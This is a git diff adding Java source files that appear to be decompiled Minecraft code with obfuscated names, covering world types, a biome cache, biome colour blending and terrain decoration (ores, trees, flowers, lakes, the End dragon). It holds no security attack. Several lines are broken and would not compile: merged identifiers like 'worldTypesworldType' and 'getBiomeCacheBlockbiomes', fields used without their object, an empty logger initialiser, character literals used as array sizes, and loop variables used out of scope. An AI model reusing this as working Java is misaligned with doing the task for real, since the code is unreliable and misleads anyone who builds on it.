+  public static final WorldType LARGE_BIOMES = new WorldType(2, "largeBiomes");
+  
+
+  public static final WorldType AMPLIFIED = new WorldType(3, "amplified").setNotificationData();
+  public static final WorldType CUSTOMIZED = new WorldType(4, "customized");
+  public static final WorldType DEBUG_WORLD = new WorldType(5, "debug_all_block_states");
+  
+
+  public static final WorldType DEFAULT_1_1 = new WorldType(8, "default_1_1", 0).setCanBeCreated(false);
+  
+
+  private final int worldTypeId;
+  
+
+  private final String worldType;
+  
+  private final int generatorVersion;
+  
+  private boolean canBeCreated;
+  
+  private boolean isWorldTypeVersioned;
+  
+  private boolean hasNotificationData;
+  
+  private static final String __OBFID = "CL_00000150";
+  
+
+  private WorldType(int id, String name)
+  {
+    this(id, name, 0);
+  }
+  
+  private WorldType(int id, String name, int version)
+  {
+    worldType = name;
+    generatorVersion = version;
+    canBeCreated = true;
+    worldTypeId = id;
+    worldTypes[id] = this;
+  }
+  
+  public String getWorldTypeName()
+  {
+    return worldType;
+  }
+  
+
+
+
+  public String getTranslateName()
+  {
+    return "generator." + worldType;
+  }
+  
+  public String func_151359_c()
+  {
+    return getTranslateName() + ".info";
+  }
+  
+
+
+
+  public int getGeneratorVersion()
+  {
+    return generatorVersion;
+  }
+  
+  public WorldType getWorldTypeForGeneratorVersion(int version)
+  {
+    return (this == DEFAULT) && (version == 0) ? DEFAULT_1_1 : this;
+  }
+  
+
+
+
+  private WorldType setCanBeCreated(boolean enable)
+  {
+    canBeCreated = enable;
+    return this;
+  }
+  
+
+
+
+  public boolean getCanBeCreated()
+  {
+    return canBeCreated;
+  }
+  
+
+
+
+  private WorldType setVersioned()
+  {
+    isWorldTypeVersioned = true;
+    return this;
+  }
+  
+
+
+
+  public boolean isVersioned()
+  {
+    return isWorldTypeVersioned;
+  }
+  
+  public static WorldType parseWorldType(String type)
+  {
+    for (int var1 = 0; var1 < worldTypes.length; var1++)
+    {
+      if ((worldTypes[var1] != null) && (worldTypesworldType.equalsIgnoreCase(type)))
+      {
+        return worldTypes[var1];
+      }
+    }
+    
+    return null;
+  }
+  
+  public int getWorldTypeID()
+  {
+    return worldTypeId;
+  }
+  
+
+
+
+
+  public boolean showWorldInfoNotice()
+  {
+    return hasNotificationData;
+  }
+  
+
+
+
+  private WorldType setNotificationData()
+  {
+    hasNotificationData = true;
+    return this;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeCache.java b/src/minecraft/net/minecraft/world/biome/BiomeCache.java
new file mode 100644
index 0000000..33e4cec
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeCache.java
@@ -0,0 +1,114 @@
+package net.minecraft.world.biome;
+
+import com.google.common.collect.Lists;
+import java.util.List;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.LongHashMap;
+
+
+
+
+
+
+
+
+public class BiomeCache
+{
+  private final WorldChunkManager chunkManager;
+  private long lastCleanupTime;
+  private LongHashMap cacheMap = new LongHashMap();
+  
+
+  private List cache = Lists.newArrayList();
+  private static final String __OBFID = "CL_00000162";
+  
+  public BiomeCache(WorldChunkManager p_i1973_1_)
+  {
+    chunkManager = p_i1973_1_;
+  }
+  
+
+
+
+  public Block getBiomeCacheBlock(int p_76840_1_, int p_76840_2_)
+  {
+    p_76840_1_ >>= 4;
+    p_76840_2_ >>= 4;
+    long var3 = p_76840_1_ & 0xFFFFFFFF | (p_76840_2_ & 0xFFFFFFFF) << 32;
+    Block var5 = (Block)cacheMap.getValueByKey(var3);
+    
+    if (var5 == null)
+    {
+      var5 = new Block(p_76840_1_, p_76840_2_);
+      cacheMap.add(var3, var5);
+      cache.add(var5);
+    }
+    
+    lastAccessTime = MinecraftServer.getCurrentTimeMillis();
+    return var5;
+  }
+  
+  public BiomeGenBase func_180284_a(int p_180284_1_, int p_180284_2_, BiomeGenBase p_180284_3_)
+  {
+    BiomeGenBase var4 = getBiomeCacheBlock(p_180284_1_, p_180284_2_).getBiomeGenAt(p_180284_1_, p_180284_2_);
+    return var4 == null ? p_180284_3_ : var4;
+  }
+  
+
+
+
+  public void cleanupCache()
+  {
+    long var1 = MinecraftServer.getCurrentTimeMillis();
+    long var3 = var1 - lastCleanupTime;
+    
+    if ((var3 > 7500L) || (var3 < 0L))
+    {
+      lastCleanupTime = var1;
+      
+      for (int var5 = 0; var5 < cache.size(); var5++)
+      {
+        Block var6 = (Block)cache.get(var5);
+        long var7 = var1 - lastAccessTime;
+        
+        if ((var7 > 30000L) || (var7 < 0L))
+        {
+          cache.remove(var5--);
+          long var9 = xPosition & 0xFFFFFFFF | (zPosition & 0xFFFFFFFF) << 32;
+          cacheMap.remove(var9);
+        }
+      }
+    }
+  }
+  
+
+
+
+  public BiomeGenBase[] getCachedBiomes(int p_76839_1_, int p_76839_2_)
+  {
+    return getBiomeCacheBlockbiomes;
+  }
+  
+  public class Block
+  {
+    public float[] rainfallValues = new float['Ā'];
+    public BiomeGenBase[] biomes = new BiomeGenBase['Ā'];
+    public int xPosition;
+    public int zPosition;
+    public long lastAccessTime;
+    private static final String __OBFID = "CL_00000163";
+    
+    public Block(int p_i1972_2_, int p_i1972_3_)
+    {
+      xPosition = p_i1972_2_;
+      zPosition = p_i1972_3_;
+      chunkManager.getRainfall(rainfallValues, p_i1972_2_ << 4, p_i1972_3_ << 4, 16, 16);
+      chunkManager.getBiomeGenAt(biomes, p_i1972_2_ << 4, p_i1972_3_ << 4, 16, 16, false);
+    }
+    
+    public BiomeGenBase getBiomeGenAt(int p_76885_1_, int p_76885_2_)
+    {
+      return biomes[(p_76885_1_ & 0xF | (p_76885_2_ & 0xF) << 4)];
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeColorHelper.java b/src/minecraft/net/minecraft/world/biome/BiomeColorHelper.java
new file mode 100644
index 0000000..0bf16f8
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeColorHelper.java
@@ -0,0 +1,72 @@
+package net.minecraft.world.biome;
+
+import java.util.Iterator;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.IBlockAccess;
+
+public class BiomeColorHelper
+{
+  private static final ColorResolver field_180291_a = new ColorResolver()
+  {
+    private static final String __OBFID = "CL_00002148";
+    
+    public int func_180283_a(BiomeGenBase p_180283_1_, BlockPos p_180283_2_) {
+      return p_180283_1_.func_180627_b(p_180283_2_);
+    }
+  };
+  private static final ColorResolver field_180289_b = new ColorResolver()
+  {
+    private static final String __OBFID = "CL_00002147";
+    
+    public int func_180283_a(BiomeGenBase p_180283_1_, BlockPos p_180283_2_) {
+      return p_180283_1_.func_180625_c(p_180283_2_);
+    }
+  };
+  private static final ColorResolver field_180290_c = new ColorResolver()
+  {
+    private static final String __OBFID = "CL_00002146";
+    
+
+    public int func_180283_a(BiomeGenBase p_180283_1_, BlockPos p_180283_2_) { return waterColorMultiplier; }
+  };
+  private static final String __OBFID = "CL_00002149";
+  
+  public BiomeColorHelper() {}
+  
+  private static int func_180285_a(IBlockAccess p_180285_0_, BlockPos p_180285_1_, ColorResolver p_180285_2_) {
+    int var3 = 0;
+    int var4 = 0;
+    int var5 = 0;
+    
+    int var8;
+    for (Iterator var6 = BlockPos.getAllInBoxMutable(p_180285_1_.add(-1, 0, -1), p_180285_1_.add(1, 0, 1)).iterator(); var6.hasNext(); var5 += (var8 & 0xFF))
+    {
+      net.minecraft.util.BlockPos.MutableBlockPos var7 = (net.minecraft.util.BlockPos.MutableBlockPos)var6.next();
+      var8 = p_180285_2_.func_180283_a(p_180285_0_.getBiomeGenForCoords(var7), var7);
+      var3 += ((var8 & 0xFF0000) >> 16);
+      var4 += ((var8 & 0xFF00) >> 8);
+    }
+    
+    return (var3 / 9 & 0xFF) << 16 | (var4 / 9 & 0xFF) << 8 | var5 / 9 & 0xFF;
+  }
+  
+  public static int func_180286_a(IBlockAccess p_180286_0_, BlockPos p_180286_1_)
+  {
+    return func_180285_a(p_180286_0_, p_180286_1_, field_180291_a);
+  }
+  
+  public static int func_180287_b(IBlockAccess p_180287_0_, BlockPos p_180287_1_)
+  {
+    return func_180285_a(p_180287_0_, p_180287_1_, field_180289_b);
+  }
+  
+  public static int func_180288_c(IBlockAccess p_180288_0_, BlockPos p_180288_1_)
+  {
+    return func_180285_a(p_180288_0_, p_180288_1_, field_180290_c);
+  }
+  
+  static abstract interface ColorResolver
+  {
+    public abstract int func_180283_a(BiomeGenBase paramBiomeGenBase, BlockPos paramBlockPos);
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeDecorator.java b/src/minecraft/net/minecraft/world/biome/BiomeDecorator.java
new file mode 100644
index 0000000..301ad98
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeDecorator.java
@@ -0,0 +1,468 @@
+package net.minecraft.world.biome;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockFlower;
+import net.minecraft.block.BlockFlower.EnumFlowerType;
+import net.minecraft.block.BlockStone;
+import net.minecraft.block.BlockStone.EnumType;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+import net.minecraft.world.gen.ChunkProviderSettings;
+import net.minecraft.world.gen.ChunkProviderSettings.Factory;
+import net.minecraft.world.gen.GeneratorBushFeature;
+import net.minecraft.world.gen.feature.WorldGenAbstractTree;
+import net.minecraft.world.gen.feature.WorldGenBigMushroom;
+import net.minecraft.world.gen.feature.WorldGenCactus;
+import net.minecraft.world.gen.feature.WorldGenClay;
+import net.minecraft.world.gen.feature.WorldGenDeadBush;
+import net.minecraft.world.gen.feature.WorldGenFlowers;
+import net.minecraft.world.gen.feature.WorldGenLiquids;
+import net.minecraft.world.gen.feature.WorldGenMinable;
+import net.minecraft.world.gen.feature.WorldGenPumpkin;
+import net.minecraft.world.gen.feature.WorldGenReed;
+import net.minecraft.world.gen.feature.WorldGenSand;
+import net.minecraft.world.gen.feature.WorldGenerator;
+import net.minecraft.world.storage.WorldInfo;
+
+public class BiomeDecorator
+{
+  protected World currentWorld;
+  protected Random randomGenerator;
+  protected BlockPos field_180294_c;
+  protected ChunkProviderSettings field_180293_d;
+  protected WorldGenerator clayGen = new WorldGenClay(4);
+  
+
+  protected WorldGenerator sandGen;
+  
+
+  protected WorldGenerator gravelAsSandGen;
+  
+
+  protected WorldGenerator dirtGen;
+  
+
+  protected WorldGenerator gravelGen;
+  
+
+  protected WorldGenerator field_180296_j;
+  
+
+  protected WorldGenerator field_180297_k;
+  
+
+  protected WorldGenerator field_180295_l;
+  
+
+  protected WorldGenerator coalGen;
+  
+
+  protected WorldGenerator ironGen;
+  
+
+  protected WorldGenerator goldGen;
+  
+
+  protected WorldGenerator field_180299_p;
+  
+
+  protected WorldGenerator field_180298_q;
+  
+
+  protected WorldGenerator lapisGen;
+  
+
+  protected WorldGenFlowers yellowFlowerGen;
+  
+
+  protected WorldGenerator mushroomBrownGen;
+  
+
+  protected WorldGenerator mushroomRedGen;
+  
+
+  protected WorldGenerator bigMushroomGen;
+  
+
+  protected WorldGenerator reedGen;
+  
+
+  protected WorldGenerator cactusGen;
+  
+
+  protected WorldGenerator waterlilyGen;
+  
+
+  protected int waterlilyPerChunk;
+  
+
+  protected int treesPerChunk;
+  
+
+  protected int flowersPerChunk;
+  
+
+  protected int grassPerChunk;
+  
+
+  protected int deadBushPerChunk;
+  
+
+  protected int mushroomsPerChunk;
+  
+
+  protected int reedsPerChunk;
+  
+
+  protected int cactiPerChunk;
+  
+
+  protected int sandPerChunk;
+  
+
+  protected int sandPerChunk2;
+  
+
+  protected int clayPerChunk;
+  
+
+  protected int bigMushroomsPerChunk;
+  
+
+  public boolean generateLakes;
+  
+
+  private static final String __OBFID = "CL_00000164";
+  
+
+  public BiomeDecorator()
+  {
+    sandGen = new WorldGenSand(Blocks.sand, 7);
+    gravelAsSandGen = new WorldGenSand(Blocks.gravel, 6);
+    yellowFlowerGen = new WorldGenFlowers(Blocks.yellow_flower, BlockFlower.EnumFlowerType.DANDELION);
+    mushroomBrownGen = new GeneratorBushFeature(Blocks.brown_mushroom);
+    mushroomRedGen = new GeneratorBushFeature(Blocks.red_mushroom);
+    bigMushroomGen = new WorldGenBigMushroom();
+    reedGen = new WorldGenReed();
+    cactusGen = new WorldGenCactus();
+    waterlilyGen = new net.minecraft.world.gen.feature.WorldGenWaterlily();
+    flowersPerChunk = 2;
+    grassPerChunk = 1;
+    sandPerChunk = 1;
+    sandPerChunk2 = 3;
+    clayPerChunk = 1;
+    generateLakes = true;
+  }
+  
+  public void func_180292_a(World worldIn, Random p_180292_2_, BiomeGenBase p_180292_3_, BlockPos p_180292_4_)
+  {
+    if (currentWorld != null)
+    {
+      throw new RuntimeException("Already decorating");
+    }
+    
+
+    currentWorld = worldIn;
+    String var5 = worldIn.getWorldInfo().getGeneratorOptions();
+    
+    if (var5 != null)
+    {
+      field_180293_d = ChunkProviderSettings.Factory.func_177865_a(var5).func_177864_b();
+    }
+    else
+    {
+      field_180293_d = ChunkProviderSettings.Factory.func_177865_a("").func_177864_b();
+    }
+    
+    randomGenerator = p_180292_2_;
+    field_180294_c = p_180292_4_;
+    dirtGen = new WorldGenMinable(Blocks.dirt.getDefaultState(), field_180293_d.field_177789_I);
+    gravelGen = new WorldGenMinable(Blocks.gravel.getDefaultState(), field_180293_d.field_177785_M);
+    field_180296_j = new WorldGenMinable(Blocks.stone.getDefaultState().withProperty(BlockStone.VARIANT_PROP, BlockStone.EnumType.GRANITE), field_180293_d.field_177796_Q);
+    field_180297_k = new WorldGenMinable(Blocks.stone.getDefaultState().withProperty(BlockStone.VARIANT_PROP, BlockStone.EnumType.DIORITE), field_180293_d.field_177792_U);
+    field_180295_l = new WorldGenMinable(Blocks.stone.getDefaultState().withProperty(BlockStone.VARIANT_PROP, BlockStone.EnumType.ANDESITE), field_180293_d.field_177800_Y);
+    coalGen = new WorldGenMinable(Blocks.coal_ore.getDefaultState(), field_180293_d.field_177844_ac);
+    ironGen = new WorldGenMinable(Blocks.iron_ore.getDefaultState(), field_180293_d.field_177848_ag);
+    goldGen = new WorldGenMinable(Blocks.gold_ore.getDefaultState(), field_180293_d.field_177828_ak);
+    field_180299_p = new WorldGenMinable(Blocks.redstone_ore.getDefaultState(), field_180293_d.field_177836_ao);
+    field_180298_q = new WorldGenMinable(Blocks.diamond_ore.getDefaultState(), field_180293_d.field_177814_as);
+    lapisGen = new WorldGenMinable(Blocks.lapis_ore.getDefaultState(), field_180293_d.field_177822_aw);
+    genDecorations(p_180292_3_);
+    currentWorld = null;
+    randomGenerator = null;
+  }
+  
+
+  protected void genDecorations(BiomeGenBase p_150513_1_)
+  {
+    generateOres();
+    
+
+
+
+    for (int var2 = 0; var2 < sandPerChunk2; var2++)
+    {
+      int var3 = randomGenerator.nextInt(16) + 8;
+      int var4 = randomGenerator.nextInt(16) + 8;
+      sandGen.generate(currentWorld, randomGenerator, currentWorld.func_175672_r(field_180294_c.add(var3, 0, var4)));
+    }
+    
+    for (var2 = 0; var2 < clayPerChunk; var2++)
+    {
+      int var3 = randomGenerator.nextInt(16) + 8;
+      int var4 = randomGenerator.nextInt(16) + 8;
+      clayGen.generate(currentWorld, randomGenerator, currentWorld.func_175672_r(field_180294_c.add(var3, 0, var4)));
+    }
+    
+    for (var2 = 0; var2 < sandPerChunk; var2++)
+    {
+      int var3 = randomGenerator.nextInt(16) + 8;
+      int var4 = randomGenerator.nextInt(16) + 8;
+      gravelAsSandGen.generate(currentWorld, randomGenerator, currentWorld.func_175672_r(field_180294_c.add(var3, 0, var4)));
+    }
+    
+    var2 = treesPerChunk;
+    
+    if (randomGenerator.nextInt(10) == 0)
+    {
+      var2++;
+    }
+    
+
+
+
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      int var4 = randomGenerator.nextInt(16) + 8;
+      int var5 = randomGenerator.nextInt(16) + 8;
+      WorldGenAbstractTree var6 = p_150513_1_.genBigTreeChance(randomGenerator);
+      var6.func_175904_e();
+      BlockPos var7 = currentWorld.getHorizon(field_180294_c.add(var4, 0, var5));
+      
+      if (var6.generate(currentWorld, randomGenerator, var7))
+      {
+        var6.func_180711_a(currentWorld, randomGenerator, var7);
+      }
+    }
+    
+    for (var3 = 0; var3 < bigMushroomsPerChunk; var3++)
+    {
+      int var4 = randomGenerator.nextInt(16) + 8;
+      int var5 = randomGenerator.nextInt(16) + 8;
+      bigMushroomGen.generate(currentWorld, randomGenerator, currentWorld.getHorizon(field_180294_c.add(var4, 0, var5)));
+    }
+    
+
+
+    for (var3 = 0; var3 < flowersPerChunk; var3++)
+    {
+      int var4 = randomGenerator.nextInt(16) + 8;
+      int var5 = randomGenerator.nextInt(16) + 8;
+      int var11 = randomGenerator.nextInt(currentWorld.getHorizon(field_180294_c.add(var4, 0, var5)).getY() + 32);
+      BlockPos var7 = field_180294_c.add(var4, var11, var5);
+      BlockFlower.EnumFlowerType var8 = p_150513_1_.pickRandomFlower(randomGenerator, var7);
+      BlockFlower var9 = var8.func_176964_a().func_180346_a();
+      
+      if (var9.getMaterial() != Material.air)
+      {
+        yellowFlowerGen.setGeneratedBlock(var9, var8);
+        yellowFlowerGen.generate(currentWorld, randomGenerator, var7);
+      }
+    }
+    
+    for (var3 = 0; var3 < grassPerChunk; var3++)
+    {
+      int var4 = randomGenerator.nextInt(16) + 8;
+      int var5 = randomGenerator.nextInt(16) + 8;
+      int var11 = randomGenerator.nextInt(currentWorld.getHorizon(field_180294_c.add(var4, 0, var5)).getY() * 2);
+      p_150513_1_.getRandomWorldGenForGrass(randomGenerator).generate(currentWorld, randomGenerator, field_180294_c.add(var4, var11, var5));
+    }
+    
+    for (var3 = 0; var3 < deadBushPerChunk; var3++)
+    {
+      int var4 = randomGenerator.nextInt(16) + 8;
+      int var5 = randomGenerator.nextInt(16) + 8;
+      int var11 = randomGenerator.nextInt(currentWorld.getHorizon(field_180294_c.add(var4, 0, var5)).getY() * 2);
+      new WorldGenDeadBush().generate(currentWorld, randomGenerator, field_180294_c.add(var4, var11, var5));
+    }
+    
+    var3 = 0;
+    
+    while (var3 < waterlilyPerChunk)
+    {
+      int var4 = randomGenerator.nextInt(16) + 8;
+      int var5 = randomGenerator.nextInt(16) + 8;
+      int var11 = randomGenerator.nextInt(currentWorld.getHorizon(field_180294_c.add(var4, 0, var5)).getY() * 2);
+      BlockPos var7 = field_180294_c.add(var4, var11, var5);
+      
+
+
+      while (var7.getY() > 0)
+      {
+        BlockPos var13 = var7.offsetDown();
+        
+        if (!currentWorld.isAirBlock(var13))
+          break;
+        var7 = var13;
+      }
+      
+
+
+      waterlilyGen.generate(currentWorld, randomGenerator, var7);
+      var3++;
+    }
+    
+
+
+    for (var3 = 0; var3 < mushroomsPerChunk; var3++)
+    {
+      if (randomGenerator.nextInt(4) == 0)
+      {
+        int var4 = randomGenerator.nextInt(16) + 8;
+        int var5 = randomGenerator.nextInt(16) + 8;
+        BlockPos var12 = currentWorld.getHorizon(field_180294_c.add(var4, 0, var5));
+        mushroomBrownGen.generate(currentWorld, randomGenerator, var12);
+      }
+      
+      if (randomGenerator.nextInt(8) == 0)
+      {
+        int var4 = randomGenerator.nextInt(16) + 8;
+        int var5 = randomGenerator.nextInt(16) + 8;
+        int var11 = randomGenerator.nextInt(currentWorld.getHorizon(field_180294_c.add(var4, 0, var5)).getY() * 2);
+        BlockPos var7 = field_180294_c.add(var4, var11, var5);
+        mushroomRedGen.generate(currentWorld, randomGenerator, var7);
+      }
+    }
+    
+    if (randomGenerator.nextInt(4) == 0)
+    {
+      var3 = randomGenerator.nextInt(16) + 8;
+      int var4 = randomGenerator.nextInt(16) + 8;
+      int var5 = randomGenerator.nextInt(currentWorld.getHorizon(field_180294_c.add(var3, 0, var4)).getY() * 2);
+      mushroomBrownGen.generate(currentWorld, randomGenerator, field_180294_c.add(var3, var5, var4));
+    }
+    
+    if (randomGenerator.nextInt(8) == 0)
+    {
+      var3 = randomGenerator.nextInt(16) + 8;
+      int var4 = randomGenerator.nextInt(16) + 8;
+      int var5 = randomGenerator.nextInt(currentWorld.getHorizon(field_180294_c.add(var3, 0, var4)).getY() * 2);
+      mushroomRedGen.generate(currentWorld, randomGenerator, field_180294_c.add(var3, var5, var4));
+    }
+    
+    for (var3 = 0; var3 < reedsPerChunk; var3++)
+    {
+      int var4 = randomGenerator.nextInt(16) + 8;
+      int var5 = randomGenerator.nextInt(16) + 8;
+      int var11 = randomGenerator.nextInt(currentWorld.getHorizon(field_180294_c.add(var4, 0, var5)).getY() * 2);
+      reedGen.generate(currentWorld, randomGenerator, field_180294_c.add(var4, var11, var5));
+    }
+    
+    for (var3 = 0; var3 < 10; var3++)
+    {
+      int var4 = randomGenerator.nextInt(16) + 8;
+      int var5 = randomGenerator.nextInt(16) + 8;
+      int var11 = randomGenerator.nextInt(currentWorld.getHorizon(field_180294_c.add(var4, 0, var5)).getY() * 2);
+      reedGen.generate(currentWorld, randomGenerator, field_180294_c.add(var4, var11, var5));
+    }
+    
+    if (randomGenerator.nextInt(32) == 0)
+    {
+      var3 = randomGenerator.nextInt(16) + 8;
+      int var4 = randomGenerator.nextInt(16) + 8;
+      int var5 = randomGenerator.nextInt(currentWorld.getHorizon(field_180294_c.add(var3, 0, var4)).getY() * 2);
+      new WorldGenPumpkin().generate(currentWorld, randomGenerator, field_180294_c.add(var3, var5, var4));
+    }
+    
+    for (var3 = 0; var3 < cactiPerChunk; var3++)
+    {
+      int var4 = randomGenerator.nextInt(16) + 8;
+      int var5 = randomGenerator.nextInt(16) + 8;
+      int var11 = randomGenerator.nextInt(currentWorld.getHorizon(field_180294_c.add(var4, 0, var5)).getY() * 2);
+      cactusGen.generate(currentWorld, randomGenerator, field_180294_c.add(var4, var11, var5));
+    }
+    
+    if (generateLakes)
+    {
+
+
+      for (var3 = 0; var3 < 50; var3++)
+      {
+        BlockPos var10 = field_180294_c.add(randomGenerator.nextInt(16) + 8, randomGenerator.nextInt(randomGenerator.nextInt(248) + 8), randomGenerator.nextInt(16) + 8);
+        new WorldGenLiquids(Blocks.flowing_water).generate(currentWorld, randomGenerator, var10);
+      }
+      
+      for (var3 = 0; var3 < 20; var3++)
+      {
+        BlockPos var10 = field_180294_c.add(randomGenerator.nextInt(16) + 8, randomGenerator.nextInt(randomGenerator.nextInt(randomGenerator.nextInt(240) + 8) + 8), randomGenerator.nextInt(16) + 8);
+        new WorldGenLiquids(Blocks.flowing_lava).generate(currentWorld, randomGenerator, var10);
+      }
+    }
+  }
+  
+
+
+
+
+
+  protected void genStandardOre1(int p_76795_1_, WorldGenerator p_76795_2_, int p_76795_3_, int p_76795_4_)
+  {
+    if (p_76795_4_ < p_76795_3_)
+    {
+      int var5 = p_76795_3_;
+      p_76795_3_ = p_76795_4_;
+      p_76795_4_ = var5;
+    }
+    else if (p_76795_4_ == p_76795_3_)
+    {
+      if (p_76795_3_ < 255)
+      {
+        p_76795_4_++;
+      }
+      else
+      {
+        p_76795_3_--;
+      }
+    }
+    
+    for (int var5 = 0; var5 < p_76795_1_; var5++)
+    {
+      BlockPos var6 = field_180294_c.add(randomGenerator.nextInt(16), randomGenerator.nextInt(p_76795_4_ - p_76795_3_) + p_76795_3_, randomGenerator.nextInt(16));
+      p_76795_2_.generate(currentWorld, randomGenerator, var6);
+    }
+  }
+  
+
+
+
+  protected void genStandardOre2(int p_76793_1_, WorldGenerator p_76793_2_, int p_76793_3_, int p_76793_4_)
+  {
+    for (int var5 = 0; var5 < p_76793_1_; var5++)
+    {
+      BlockPos var6 = field_180294_c.add(randomGenerator.nextInt(16), randomGenerator.nextInt(p_76793_4_) + randomGenerator.nextInt(p_76793_4_) + p_76793_3_ - p_76793_4_, randomGenerator.nextInt(16));
+      p_76793_2_.generate(currentWorld, randomGenerator, var6);
+    }
+  }
+  
+
+
+
+  protected void generateOres()
+  {
+    genStandardOre1(field_180293_d.field_177790_J, dirtGen, field_180293_d.field_177791_K, field_180293_d.field_177784_L);
+    genStandardOre1(field_180293_d.field_177786_N, gravelGen, field_180293_d.field_177787_O, field_180293_d.field_177797_P);
+    genStandardOre1(field_180293_d.field_177795_V, field_180297_k, field_180293_d.field_177794_W, field_180293_d.field_177801_X);
+    genStandardOre1(field_180293_d.field_177799_R, field_180296_j, field_180293_d.field_177798_S, field_180293_d.field_177793_T);
+    genStandardOre1(field_180293_d.field_177802_Z, field_180295_l, field_180293_d.field_177846_aa, field_180293_d.field_177847_ab);
+    genStandardOre1(field_180293_d.field_177845_ad, coalGen, field_180293_d.field_177851_ae, field_180293_d.field_177853_af);
+    genStandardOre1(field_180293_d.field_177849_ah, ironGen, field_180293_d.field_177832_ai, field_180293_d.field_177834_aj);
+    genStandardOre1(field_180293_d.field_177830_al, goldGen, field_180293_d.field_177840_am, field_180293_d.field_177842_an);
+    genStandardOre1(field_180293_d.field_177838_ap, field_180299_p, field_180293_d.field_177818_aq, field_180293_d.field_177816_ar);
+    genStandardOre1(field_180293_d.field_177812_at, field_180298_q, field_180293_d.field_177826_au, field_180293_d.field_177824_av);
+    genStandardOre2(field_180293_d.field_177820_ax, lapisGen, field_180293_d.field_177807_ay, field_180293_d.field_177805_az);
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeEndDecorator.java b/src/minecraft/net/minecraft/world/biome/BiomeEndDecorator.java
new file mode 100644
index 0000000..5780013
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeEndDecorator.java
@@ -0,0 +1,36 @@
+package net.minecraft.world.biome;
+
+import java.util.Random;
+import net.minecraft.entity.boss.EntityDragon;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.gen.feature.WorldGenerator;
+
+public class BiomeEndDecorator extends BiomeDecorator
+{
+  protected WorldGenerator spikeGen;
+  private static final String __OBFID = "CL_00000188";
+  
+  public BiomeEndDecorator()
+  {
+    spikeGen = new net.minecraft.world.gen.feature.WorldGenSpikes(net.minecraft.init.Blocks.end_stone);
+  }
+  
+  protected void genDecorations(BiomeGenBase p_150513_1_)
+  {
+    generateOres();
+    
+    if (randomGenerator.nextInt(5) == 0)
+    {
+      int var2 = randomGenerator.nextInt(16) + 8;
+      int var3 = randomGenerator.nextInt(16) + 8;
+      spikeGen.generate(currentWorld, randomGenerator, currentWorld.func_175672_r(field_180294_c.add(var2, 0, var3)));
+    }
+    
+    if ((field_180294_c.getX() == 0) && (field_180294_c.getZ() == 0))
+    {
+      EntityDragon var4 = new EntityDragon(currentWorld);
+      var4.setLocationAndAngles(0.0D, 128.0D, 0.0D, randomGenerator.nextFloat() * 360.0F, 0.0F);
+      currentWorld.spawnEntityInWorld(var4);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeGenBase.java b/src/minecraft/net/minecraft/world/biome/BiomeGenBase.java
new file mode 100644
index 0000000..b4813a6
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeGenBase.java
@@ -0,0 +1,766 @@
+package net.minecraft.world.biome;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.awt.Color;
+import java.util.Collections;
+import java.util.List;
+import java.util.Map;
+import java.util.Random;
+import java.util.Set;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockFlower.EnumFlowerType;
+import net.minecraft.block.BlockGrass;
+import net.minecraft.block.BlockSand;
+import net.minecraft.block.BlockSand.EnumType;
+import net.minecraft.block.BlockStaticLiquid;
+import net.minecraft.block.BlockTallGrass.EnumType;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.EnumCreatureType;
+import net.minecraft.entity.monster.EntityCreeper;
+import net.minecraft.entity.monster.EntityEnderman;
+import net.minecraft.entity.monster.EntitySlime;
+import net.minecraft.entity.monster.EntitySpider;
+import net.minecraft.entity.monster.EntityWitch;
+import net.minecraft.entity.monster.EntityZombie;
+import net.minecraft.entity.passive.EntityBat;
+import net.minecraft.entity.passive.EntityChicken;
+import net.minecraft.entity.passive.EntityCow;
+import net.minecraft.entity.passive.EntityPig;
+import net.minecraft.entity.passive.EntityRabbit;
+import net.minecraft.entity.passive.EntitySquid;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.WeightedRandom.Item;
+import net.minecraft.world.ColorizerGrass;
+import net.minecraft.world.World;
+import net.minecraft.world.chunk.ChunkPrimer;
+import net.minecraft.world.gen.NoiseGeneratorPerlin;
+import net.minecraft.world.gen.feature.WorldGenAbstractTree;
+import net.minecraft.world.gen.feature.WorldGenBigTree;
+import net.minecraft.world.gen.feature.WorldGenDoublePlant;
+import net.minecraft.world.gen.feature.WorldGenSwamp;
+import net.minecraft.world.gen.feature.WorldGenTallGrass;
+import net.minecraft.world.gen.feature.WorldGenTrees;
+import net.minecraft.world.gen.feature.WorldGenerator;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public abstract class BiomeGenBase
+{
+  private static final Logger logger = ;
+  protected static final Height height_Default = new Height(0.1F, 0.2F);
+  protected static final Height height_ShallowWaters = new Height(-0.5F, 0.0F);
+  protected static final Height height_Oceans = new Height(-1.0F, 0.1F);
+  protected static final Height height_DeepOceans = new Height(-1.8F, 0.1F);
+  protected static final Height height_LowPlains = new Height(0.125F, 0.05F);
+  protected static final Height height_MidPlains = new Height(0.2F, 0.2F);
+  protected static final Height height_LowHills = new Height(0.45F, 0.3F);
+  protected static final Height height_HighPlateaus = new Height(1.5F, 0.025F);
+  protected static final Height height_MidHills = new Height(1.0F, 0.5F);
+  protected static final Height height_Shores = new Height(0.0F, 0.025F);
+  protected static final Height height_RockyWaters = new Height(0.1F, 0.8F);
